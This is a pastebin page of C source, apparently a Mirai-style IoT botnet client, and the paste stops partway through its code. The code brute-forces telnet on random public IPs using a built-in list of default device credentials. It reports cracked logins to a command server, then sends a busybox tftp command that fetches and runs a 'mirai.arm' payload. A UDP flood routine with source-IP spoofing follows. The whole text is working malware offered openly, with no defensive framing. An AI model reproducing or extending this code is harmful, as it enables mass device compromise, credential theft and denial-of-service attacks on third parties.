daily pastebin goal
28%
SHARE
TWEET

client.c

wtfbbq May 25th, 2017 (edited) 1,206 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <stdlib.h>
  2. #include <stdarg.h>
  3. #include <stdio.h>
  4. #include <sys/socket.h>
  5. #include <sys/types.h>
  6. #include <netinet/in.h>
  7. #include <arpa/inet.h>
  8. #include <netdb.h>
  9. #include <signal.h>
  10. #include <strings.h>
  11. #include <string.h>
  12. #include <sys/utsname.h>
  13. #include <unistd.h>
  14. #include <fcntl.h>
  15. #include <errno.h>
  16. #include <netinet/ip.h>
  17. #include <netinet/udp.h>
  18. #include <netinet/tcp.h>
  19. #include <sys/wait.h>
  20. #include <sys/ioctl.h>
  21. #include <net/if.h>
  22. #define PR_SET_NAME 15
  23. #define PAD_RIGHT 1
  24. #define PAD_ZERO 2
  25. #define PRINT_BUF_LEN 12
  26. #define CMD_IAC   255
  27. #define CMD_WILL  251
  28. #define CMD_WONT  252
  29. #define CMD_DO    253
  30. #define CMD_DONT  254
  31. #define OPT_SGA   3
  32. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  33. unsigned char *commServer[] = {"ip:6667"};
  34. int initConnection();
  35. void makeRandomStr(unsigned char *buf, int length);
  36. int sockprintf(int sock, char *formatStr, ...);
  37. char *inet_ntoa(struct in_addr in);
  38. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  39. uint32_t *pids;
  40. uint32_t scanPid;
  41. uint64_t numpids = 0;
  42. struct in_addr ourIP;
  43. unsigned char macAddress[6] = {0};
  44. char *usernames[] = {"root\0", "support\0", "telnet\0", "admin\0", "support\0", "user\0", "guest\0", "admin1\0", "administrator\0", "Administrator\0", "666666\0", "888888\0", "ubnt\0", "tech\0", "mother\0", "service\0", "supervisor\0", "mg3500\0", "daemon\0", "default\0", "operator\0"};
  45. char *passwords[] = {"\0", "xc3511\0", "telnet\0", "support\0", "vizxv\0", "admin\0", "888888\0", "xmhdipc\0", "default\0", "juantech\0", "123456\0", "54321\0", "support\0", "root\0", "12345\0", "user\0", "pass\0", "admin1234\0", "1111\0", "smcadmin\0", "1234\0", "666666\0", "password\0", "klv123\0", "service\0", "supervisor\0", "ubnt\0", "klv1234\0", "Zte521\0", "hi3518\0", "jvbzd\0", "anko\0", "zlxx.\0", "7ujMko0vizxv\0", "7ujMko0admin\0", "system\0", "ikwb\0", "dreambox\0", "realtek\0", "00000000\0", "1111111\0", "meinsm\0", "fucker\0", "merlin\0", "1234567890\0", "default\0", "operator\0", "5up\0", "vnpt\0", "antslq\0", "zyad1234\0", "tini\0", "letecla\0", "tzlkisonpk\0"};
  46. char* advances[] = {":", "ogin", "sername", "assword", (char*)0};
  47. char* fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  48. char* successes[] = {"BusyBox", "uilt-in", "inux", "shell", "help", "commands", "$", "~", ">", "/", "#", (char*)0};
  49. char* advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  50. char* tmpdirs[] = {"/tmp/", "/var/tmp/", "/bin/", "/dev/", (char*) 0};
  51. #define PHI 0x9e3779b9
  52. static uint32_t Q[4096], c = 362436;
  53. void init_rand(uint32_t x)
  54. {
  55.         int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  56. }
  57. uint32_t rand_cmwc(void)
  58. {
  59.         uint64_t t, a = 18782LL;
  60.         static uint32_t i = 4095;
  61.         uint32_t x, r = 0xfffffffe;
  62.         i = (i + 1) & 4095; t = a * Q[i] + c; c = (uint32_t)(t >> 32); x = t + c;
  63.         if (x < c) { x++; c++; }
  64.         return (Q[i] = r - x); }
  65. int contains_string(char* buffer, char** strings)
  66. {
  67.         int num_strings = 0, i = 0; for(num_strings = 0; strings[++num_strings] != 0; );
  68.         for(i = 0; i < num_strings; i++) { if(strcasestr(buffer, strings[i])) { return 1; } }
  69.         return 0; }
  70. struct telstate_t {
  71.         int fd; unsigned int ip; unsigned char state; unsigned char complete; unsigned char usernameInd;
  72.         unsigned char passwordInd; unsigned char tempDirInd; unsigned int totalTimeout; unsigned short bufUsed;
  73.         char *sockbuf;
  74. };
  75. int contains_success(char* buffer)
  76. {
  77.         return contains_string(buffer, successes);
  78. }
  79. int contains_fail(char* buffer)
  80. {
  81.         return contains_string(buffer, fails);
  82. }
  83. int contains_response(char* buffer)
  84. {
  85.         return contains_success(buffer) || contains_fail(buffer);
  86. }
  87. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  88. {      
  89.         fd_set read_set; struct timeval tv;
  90.         tv.tv_sec = 0; tv.tv_usec = timeout_usec; FD_ZERO(&read_set); FD_SET(fd, &read_set);
  91.         if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  92.         return 0; return recv(fd, buffer, buf_size, 0);
  93. }
  94. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  95. {
  96.         int num_bytes, i;
  97.         memset(buffer, 0, buf_size); num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  98.         if(buffer[0] == 0xFF) { negotiate(fd, buffer, 3); }
  99.         if(contains_string(buffer, strings)) { return 1; }
  100.         return 0;
  101. }
  102. const char* get_telstate_host(struct telstate_t* telstate)
  103. {
  104.         struct in_addr in_addr_ip;  in_addr_ip.s_addr = telstate->ip;
  105.         return inet_ntoa(in_addr_ip);
  106. }
  107. void advance_state(struct telstate_t* telstate, int new_state)
  108. {
  109.         if(new_state == 0)  { close(telstate->fd); }
  110.         telstate->totalTimeout = 0; telstate->state = new_state; memset((telstate->sockbuf), 0, 2048);
  111. }
  112. void reset_telstate(struct telstate_t* telstate)
  113. {
  114.         advance_state(telstate, 0); telstate->complete = 1;
  115. }
  116. void trim(char *str)
  117. {
  118.         int i; int begin = 0; int end = strlen(str) - 1;
  119.         while (isspace(str[begin])) begin++;
  120.         while ((end >= begin) && isspace(str[end])) end--;
  121.         for (i = begin; i <= end; i++) str[i - begin] = str[i];
  122.         str[i - begin] = '\0';
  123. }
  124. static void printchar(unsigned char **str, int c)
  125. {
  126.         if (str) { **str = c; ++(*str); }
  127.         else (void)write(1, &c, 1);
  128. }
  129. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  130. {
  131.         register int pc = 0, padchar = ' ';  if (width > 0) { register int len = 0;
  132.         register const unsigned char *ptr;
  133.         for (ptr = string; *ptr; ++ptr) ++len;
  134.         if (len >= width) width = 0; else width -= len;
  135.         if (pad & PAD_ZERO) padchar = '0'; }
  136.         if (!(pad & PAD_RIGHT)) {
  137.         for ( ; width > 0; --width) { printchar (out, padchar); ++pc; } }
  138.         for ( ; *string ; ++string) { printchar (out, *string); ++pc; }
  139.         for ( ; width > 0; --width) { printchar (out, padchar); ++pc; }
  140.         return pc;
  141. }
  142. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  143. {
  144.         unsigned char print_buf[PRINT_BUF_LEN];
  145.         register unsigned char *s;
  146.         register int t, neg = 0, pc = 0;
  147.         register unsigned int u = i; if (i == 0) {
  148.         print_buf[0] = '0'; print_buf[1] = '\0';
  149.         return prints (out, print_buf, width, pad); }
  150.         if (sg && b == 10 && i < 0) { neg = 1; u = -i;  }
  151.         s = print_buf + PRINT_BUF_LEN-1; *s = '\0';
  152.         while (u) { t = u % b; if( t >= 10 )
  153.         t += letbase - '0' - 10; *--s = t + '0'; u /= b; }
  154.         if (neg) { if( width && (pad & PAD_ZERO) ) { printchar (out, '-'); ++pc; --width; }
  155.         else { *--s = '-'; } }
  156.         return pc + prints (out, s, width, pad);
  157. }
  158. static int print(unsigned char **out, const unsigned char *format, va_list args )
  159. {
  160.         register int width, pad; register int pc = 0; unsigned char scr[2];
  161.         for (; *format != 0; ++format) { if (*format == '%') { ++format; width = pad = 0;
  162.         if (*format == '\0') break;
  163.         if (*format == '%') goto out;
  164.         if (*format == '-') { ++format; pad = PAD_RIGHT; }
  165.         while (*format == '0') { ++format; pad |= PAD_ZERO; }
  166.         for ( ; *format >= '0' && *format <= '9'; ++format) {
  167.         width *= 10; width += *format - '0'; }
  168.         if( *format == 's' ) { register char *s = (char *)va_arg( args, int );
  169.         pc += prints (out, s?s:"(null)", width, pad); continue; }
  170.         if( *format == 'd' ) { pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a'); continue; }
  171.         if( *format == 'x' ) { pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a'); continue; }
  172.         if( *format == 'X' ) { pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A'); continue; }
  173.         if( *format == 'u' ) { pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a'); continue; }
  174.         if( *format == 'c' ) { scr[0] = (unsigned char)va_arg( args, int ); scr[1] = '\0';
  175.         pc += prints (out, scr, width, pad); continue;  } }
  176.         else { out: printchar (out, *format); ++pc; } }
  177.         if (out) **out = '\0'; va_end( args ); return pc;
  178. }
  179. int zprintf(const unsigned char *format, ...)
  180. {
  181.         va_list args;
  182.         va_start( args, format );
  183.         return print( 0, format, args );
  184. }
  185. int szprintf(unsigned char *out, const unsigned char *format, ...)
  186. {
  187.         va_list args;
  188.         va_start( args, format );
  189.         return print( &out, format, args );
  190. }
  191. int sockprintf(int sock, char *formatStr, ...)
  192. {
  193.         unsigned char *textBuffer = malloc(2048);
  194.         memset(textBuffer, 0, 2048); char *orig = textBuffer; va_list args;  va_start(args, formatStr);
  195.         print(&textBuffer, formatStr, args); va_end(args); orig[strlen(orig)] = '\n';
  196.         //zprintf("buf: %s\n", orig);
  197.         int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL); free(orig); return q;
  198. }
  199. static int *fdopen_pids;
  200. int fdpopen(unsigned char *program, register unsigned char *type)
  201. {
  202.         register int iop; int pdes[2], fds, pid;
  203.         if (*type != 'r' && *type != 'w' || type[1]) return -1;
  204.         if (pipe(pdes) < 0) return -1;
  205.         if (fdopen_pids == NULL) {
  206.         if ((fds = getdtablesize()) <= 0) return -1;
  207.         if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  208.         memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int)); }
  209.         switch (pid = vfork()) { case -1: close(pdes[0]); close(pdes[1]); return -1; case 0:
  210.         if (*type == 'r') { if (pdes[1] != 1) { dup2(pdes[1], 1);  close(pdes[1]); } close(pdes[0]);  } else {
  211.         if (pdes[0] != 0) { (void) dup2(pdes[0], 0); (void) close(pdes[0]); }
  212.         (void) close(pdes[1]); }
  213.         execl("/bin/sh", "sh", "-c", program, NULL); _exit(127); }
  214.         if (*type == 'r') {  iop = pdes[0]; (void) close(pdes[1]);
  215.         } else { iop = pdes[1]; (void) close(pdes[0]); }
  216.         fdopen_pids[iop] = pid; return (iop);
  217. }
  218. int fdpclose(int iop)
  219. {
  220.         register int fdes; sigset_t omask, nmask; int pstat; register int pid;
  221.         if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  222.         (void) close(iop);  sigemptyset(&nmask);
  223.         sigaddset(&nmask, SIGINT);
  224.         sigaddset(&nmask, SIGQUIT);
  225.         sigaddset(&nmask, SIGHUP);
  226.         (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  227.         do { pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0); }
  228.         while (pid == -1 && errno == EINTR);
  229.         (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  230.         fdopen_pids[fdes] = 0; return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  231. }
  232. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  233. {
  234.         int got = 1, total = 0;
  235.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  236.         return got == 0 ? NULL : buffer;
  237. }
  238. static const long hextable[] = {
  239.         [0 ... 255] = -1,
  240.         ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  241.         ['A'] = 10, 11, 12, 13, 14, 15,
  242.         ['a'] = 10, 11, 12, 13, 14, 15
  243. };
  244. long parseHex(unsigned char *hex)
  245. {
  246.         long ret = 0;
  247.         while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  248.         return ret;
  249. }
  250. int wildString(const unsigned char* pattern, const unsigned char* string) {
  251.         switch(*pattern) {
  252.         case '\0': return *string;
  253.         case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  254.         case '?': return !(*string && !wildString(pattern+1, string+1));
  255.         default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1)); }
  256. }
  257. int getHost(unsigned char *toGet, struct in_addr *i)
  258. {
  259.         struct hostent *h;
  260.         if((i->s_addr = inet_addr(toGet)) == -1) return 1; return 0;
  261. }
  262. void uppercase(unsigned char *str)
  263. {
  264.         while(*str) { *str = toupper(*str); str++; }
  265. }
  266. void makeRandomStr(unsigned char *buf, int length)
  267. {
  268.         int i = 0;
  269.         for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  270. }
  271. int recvLine(int socket, unsigned char *buf, int bufsize)
  272. {
  273.         memset(buf, 0, bufsize);
  274.         fd_set myset;
  275.         struct timeval tv;
  276.         tv.tv_sec = 30;
  277.         tv.tv_usec = 0;
  278.         FD_ZERO(&myset);
  279.         FD_SET(socket, &myset);
  280.         int selectRtn, retryCount;
  281.         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  282.         while(retryCount < 10) {
  283.         tv.tv_sec = 30; tv.tv_usec = 0; FD_ZERO(&myset); FD_SET(socket, &myset);
  284.         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  285.         retryCount++; continue; } break; } }
  286.         unsigned char tmpchr;
  287.         unsigned char *cp; int count = 0; cp = buf;
  288.         while(bufsize-- > 1) { if(recv(mainCommSock, &tmpchr, 1, 0) != 1) { *cp = 0x00; return -1; }
  289.         *cp++ = tmpchr; if(tmpchr == '\n') break; count++; }
  290.         *cp = 0x00; return count;
  291. }
  292. int connectTimeout(int fd, char *host, int port, int timeout)
  293. {
  294.         struct sockaddr_in dest_addr;
  295.         fd_set myset; struct timeval tv;
  296.         socklen_t lon; int valopt;
  297.         long arg = fcntl(fd, F_GETFL, NULL);
  298.         arg |= O_NONBLOCK; fcntl(fd, F_SETFL, arg);
  299.         dest_addr.sin_family = AF_INET;
  300.         dest_addr.sin_port = htons(port);
  301.         if(getHost(host, &dest_addr.sin_addr)) return 0;
  302.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  303.         int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  304.         if (res < 0) { if (errno == EINPROGRESS) { tv.tv_sec = timeout; tv.tv_usec = 0; FD_ZERO(&myset);
  305.         FD_SET(fd, &myset); if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  306.         lon = sizeof(int);  getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  307.         if (valopt) return 0; } else return 0; }  else return 0; }
  308.         arg = fcntl(fd, F_GETFL, NULL); arg &= (~O_NONBLOCK); fcntl(fd, F_SETFL, arg); return 1;
  309. }
  310. int listFork()
  311. {
  312.         uint32_t parent, *newpids, i; parent = fork();
  313.         if (parent <= 0) return parent; numpids++;
  314.         newpids = (uint32_t*)malloc((numpids + 1) * 4);
  315.         for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  316.         newpids[numpids - 1] = parent; free(pids); pids = newpids; return parent;
  317. }
  318. int negotiate(int sock, unsigned char *buf, int len)
  319. {
  320.         unsigned char c; switch (buf[1]) { case CMD_IAC: return 0;
  321.         case CMD_WILL:
  322.         case CMD_WONT:
  323.         case CMD_DO:
  324.         case CMD_DONT:
  325.         c = CMD_IAC; send(sock, &c, 1, MSG_NOSIGNAL);
  326.         if (CMD_WONT == buf[1]) c = CMD_DONT;
  327.         else if (CMD_DONT == buf[1]) c = CMD_WONT;
  328.         else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  329.         else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  330.         send(sock, &c, 1, MSG_NOSIGNAL); send(sock, &(buf[2]), 1, MSG_NOSIGNAL); break; default: break; }
  331.         return 0;
  332. }
  333. int matchPrompt(char *bufStr)
  334. {
  335.         char *prompts = ":>%$#\0";
  336.         int bufLen = strlen(bufStr); int i, q = 0;
  337.         for(i = 0; i < strlen(prompts); i++) {
  338.         while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  339.         if(*(bufStr + bufLen - q) == prompts[i]) return 1; }
  340.         return 0;
  341. }
  342. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  343. {
  344.         int bufferUsed = initialIndex, got = 0, found = 0;
  345.         fd_set myset; struct timeval tv;
  346.         tv.tv_sec = timeout;  tv.tv_usec = timeoutusec;
  347.         unsigned char *initialRead = NULL;
  348.         while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0)) {
  349.         FD_ZERO(&myset); FD_SET(fd, &myset);
  350.         if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  351.         initialRead = buffer + bufferUsed;
  352.         got = recv(fd, initialRead, 1, 0);
  353.         if(got == -1 || got == 0) return 0; bufferUsed += got;
  354.         if(*initialRead == 0xFF) { got = recv(fd, initialRead + 1, 2, 0); if(got == -1 || got == 0) return 0;
  355.         bufferUsed += got; if(!negotiate(fd, initialRead, 3)) return 0; } else {
  356.         if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; } } }
  357.         if(found) return 1;
  358.         return 0;
  359. }
  360. in_addr_t getRandomPublicIP()
  361. {
  362.         uint8_t ipState[4] = {0};
  363.         ipState[0] = rand() % 255;
  364.         ipState[1] = rand() % 255;
  365.         ipState[2] = rand() % 255;
  366.         ipState[3] = rand() % 255;
  367.         while(
  368.                 (ipState[0] == 0) ||
  369.                 (ipState[0] == 3) ||
  370.                 (ipState[0] == 6) ||
  371.                 (ipState[0] == 7) ||
  372.                 (ipState[0] == 10) ||
  373.                 (ipState[0] == 11) ||
  374.                 (ipState[0] == 21) ||
  375.                 (ipState[0] == 22) ||
  376.                 (ipState[0] == 26) ||
  377.                 (ipState[0] == 28) ||
  378.                 (ipState[0] == 29) ||
  379.                 (ipState[0] == 30) ||
  380.                 (ipState[0] == 33) ||
  381.                 (ipState[0] == 55) ||
  382.                 (ipState[0] == 56) ||
  383.                 (ipState[0] == 214) ||
  384.                 (ipState[0] == 215) ||
  385.                 (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  386.                 (ipState[0] == 127) ||
  387.                 (ipState[0] == 169 && ipState[1] == 254) ||
  388.                 (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 32)) ||
  389.                 (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  390.                 (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  391.                 (ipState[0] == 192 && ipState[1] == 168) ||
  392.                 (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 20)) ||
  393.                 (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  394.                 (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  395.                 (ipState[0] >= 224)
  396.         )
  397.         {
  398.                 ipState[0] = rand() % 255;
  399.                 ipState[1] = rand() % 255;
  400.                 ipState[2] = rand() % 255;
  401.                 ipState[3] = rand() % 255;
  402.         }
  403.         char ip[16] = {0};
  404.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  405.         return inet_addr(ip);
  406. }
  407. in_addr_t getRandomIP(in_addr_t netmask)
  408. {
  409.         in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  410.         return tmp ^ ( rand_cmwc() & ~netmask);
  411. }
  412. unsigned short csum (unsigned short *buf, int count)
  413. {
  414.         register uint64_t sum = 0;
  415.         while( count > 1 ) { sum += *buf++; count -= 2; }
  416.         if(count > 0) { sum += *(unsigned char *)buf; }
  417.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  418.         return (uint16_t)(~sum);
  419. }
  420. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  421. {
  422.         struct tcp_pseudo {
  423.         unsigned long src_addr;
  424.         unsigned long dst_addr;
  425.         unsigned char zero;
  426.         unsigned char proto;
  427.         unsigned short length;
  428.         } pseudohead;
  429.         unsigned short total_len = iph->tot_len;
  430.         pseudohead.src_addr=iph->saddr;
  431.         pseudohead.dst_addr=iph->daddr;
  432.         pseudohead.zero=0;
  433.         pseudohead.proto=IPPROTO_TCP;
  434.         pseudohead.length=htons(sizeof(struct tcphdr));
  435.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  436.         unsigned short *tcp = malloc(totaltcp_len);
  437.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  438.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  439.         unsigned short output = csum(tcp,totaltcp_len);
  440.         free(tcp);
  441.         return output;
  442. }
  443. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  444. {
  445.         iph->ihl = 5;
  446.         iph->version = 4;
  447.         iph->tos = 0;
  448.         iph->tot_len = sizeof(struct iphdr) + packetSize;
  449.         iph->id = rand_cmwc();
  450.         iph->frag_off = 0;
  451.         iph->ttl = MAXTTL;
  452.         iph->protocol = protocol;
  453.         iph->check = 0;
  454.         iph->saddr = source;
  455.         iph->daddr = dest;
  456. }
  457. int sclose(int fd)
  458. {
  459.         if(3 > fd) return 1;
  460.         close(fd);
  461.         return 0;
  462. }
  463. void tel(int wait_usec, int maxfds) {
  464.         int max = getdtablesize() - 100, i, res, num_tmps, j;
  465.         char buf[128], cur_dir; if (max > maxfds)
  466.         max = maxfds; fd_set fdset; struct timeval tv;  socklen_t lon;
  467.         int valopt; char line[256]; char* buffer;
  468.         struct sockaddr_in dest_addr;
  469.         dest_addr.sin_family = AF_INET;
  470.         dest_addr.sin_port = htons(23);
  471.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  472.         buffer = malloc(2048 + 1); memset(buffer, 0, 2048 + 1);
  473.         struct telstate_t fds[max]; memset(fds, 0, max * (sizeof(int) + 1));
  474.         for(i = 0; i < max; i++) { memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].complete = 1; fds[i].sockbuf = buffer; }
  475.         for(num_tmps = 0; tmpdirs[++num_tmps] != 0; ); while(1) { for(i = 0; i < max; i++) { if(fds[i].totalTimeout == 0) {
  476.         fds[i].totalTimeout = time(NULL); } switch(fds[i].state) { case 0: { if(fds[i].complete == 1) { char *tmp = fds[i].sockbuf;
  477.         memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  478.         else if(fds[i].complete == 0) { fds[i].passwordInd++; if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
  479.         fds[i].passwordInd = 0; fds[i].usernameInd++; }
  480.         if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; } }
  481.         dest_addr.sin_family = AF_INET; dest_addr.sin_port = htons(23);
  482.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); dest_addr.sin_addr.s_addr = fds[i].ip;
  483.         fds[i].fd = socket(AF_INET, SOCK_STREAM, 0); if(fds[i].fd == -1) continue;
  484.         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  485.         if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  486.         reset_telstate(&fds[i]); } else { advance_state(&fds[i], 1); } }
  487.         break; case 1: { FD_ZERO(&fdset); FD_SET(fds[i].fd, &fdset); tv.tv_sec = 0;
  488.         tv.tv_usec = wait_usec; res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv); if(res == 1) {
  489.         lon = sizeof(int); valopt = 0; getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  490.         if(valopt) { reset_telstate(&fds[i]); } else { fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  491.         advance_state(&fds[i], 2); } continue; } else if(res == -1) { reset_telstate(&fds[i]); continue; }
  492.         if(fds[i].totalTimeout + 6 < time(NULL)) { reset_telstate(&fds[i]); } }
  493.         break; case 2: { if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, 2048, advances)) {
  494.         if(contains_fail(fds[i].sockbuf)) { advance_state(&fds[i], 0); } else { advance_state(&fds[i], 3); }           
  495.         continue; } if(fds[i].totalTimeout + 6 < time(NULL)) { reset_telstate(&fds[i]); } }
  496.         break; case 3: { if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  497.         reset_telstate(&fds[i]); continue; } if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { reset_telstate(&fds[i]); continue; }   
  498.         advance_state(&fds[i], 4); }
  499.         break; case 4: { if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, 2048, advances)) {
  500.         if(contains_fail(fds[i].sockbuf)) { advance_state(&fds[i], 0); } else { advance_state(&fds[i], 5); } continue; }
  501.         if(fds[i].totalTimeout + 6 < time(NULL)) { reset_telstate(&fds[i]); } }
  502.         break; case 5: { if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  503.         reset_telstate(&fds[i]); continue; }   
  504.         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { reset_telstate(&fds[i]); continue; }
  505.         advance_state(&fds[i], 6); }
  506.         break; case 6: { if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, 2048, advances2)) { fds[i].totalTimeout = 0;
  507.         if(contains_fail(fds[i].sockbuf)) { advance_state(&fds[i], 0);} else if(contains_success(fds[i].sockbuf)) {
  508.         if(fds[i].complete == 2) { advance_state(&fds[i], 7); } else {
  509.         sockprintf(mainCommSock, "REPORT %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  510.         advance_state(&fds[i], 7); } } else { reset_telstate(&fds[i]); } continue; }
  511.         if(fds[i].totalTimeout + 7 < time(NULL)) { reset_telstate(&fds[i]); } }
  512.         break; case 7: { fds[i].totalTimeout = 0;
  513.         if(send(fds[i].fd, "/bin/busybox tftp -g -l dvrHelper -r mirai.arm IP; /bin/busybox chmod +x dvrHelper; ./dvrHelper\r\n", 100, MSG_NOSIGNAL) < 0) {
  514.         reset_telstate(&fds[i]);
  515.         continue; } if(fds[i].totalTimeout + 10 < time(NULL)) { reset_telstate(&fds[i]); }
  516.         break; } } } } }
  517. void udp(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  518. {
  519.         struct sockaddr_in dest_addr;
  520.         dest_addr.sin_family = AF_INET;
  521.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  522.         else dest_addr.sin_port = htons(port);
  523.         if(getHost(target, &dest_addr.sin_addr)) return;
  524.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  525.         register unsigned int pollRegister;
  526.         pollRegister = pollinterval;
  527.         if(spoofit == 32) { int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(!sockfd) { return; }
  528.         unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  529.         if(buf == NULL) return; memset(buf, 0, packetsize + 1);
  530.         makeRandomStr(buf, packetsize); int end = time(NULL) + timeEnd;
  531.         register unsigned int i = 0; while(1) {
  532.         sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  533.         if(i == pollRegister) { if(port == 0) dest_addr.sin_port = rand_cmwc(); if(time(NULL) > end) break; i = 0; continue; }
  534.         i++; }
  535.         } else { int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  536.         if(!sockfd)  { return; }
  537.         int tmp = 1;
  538.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) { return; }
  539.         int counter = 50;
  540.         while(counter--) { srand(time(NULL) ^ rand_cmwc()); init_rand(rand()); }
  541.         in_addr_t netmask;
  542.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) ); else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  543.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  544.         struct iphdr *iph = (struct iphdr *)packet;
  545.         struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  546.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  547.         udph->len = htons(sizeof(struct udphdr) + packetsize);
